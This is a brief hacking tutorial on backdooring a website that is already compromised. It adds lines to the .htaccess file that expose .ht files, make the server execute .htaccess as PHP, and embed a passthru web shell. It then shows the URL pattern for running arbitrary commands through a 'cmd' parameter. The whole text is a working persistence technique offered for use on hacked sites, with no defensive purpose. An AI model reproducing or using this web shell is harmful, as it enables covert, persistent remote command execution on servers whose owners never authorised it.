How To Backdoor Htaccess File Of A Website

How to backdoor .htaccess file of a website .

Lets assume that you have already Hacked the Website and have uploaded the shell .

Now ,

1. Add the code below to the .htaccess file and change permission to 777 (chmod 777)

Code :
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-php .htaccess
# <?php passthru($_GET['cmd']); ?>

2. Now go to :
site.com/.htaccess?cmd=ls

after = you can run a command of your choice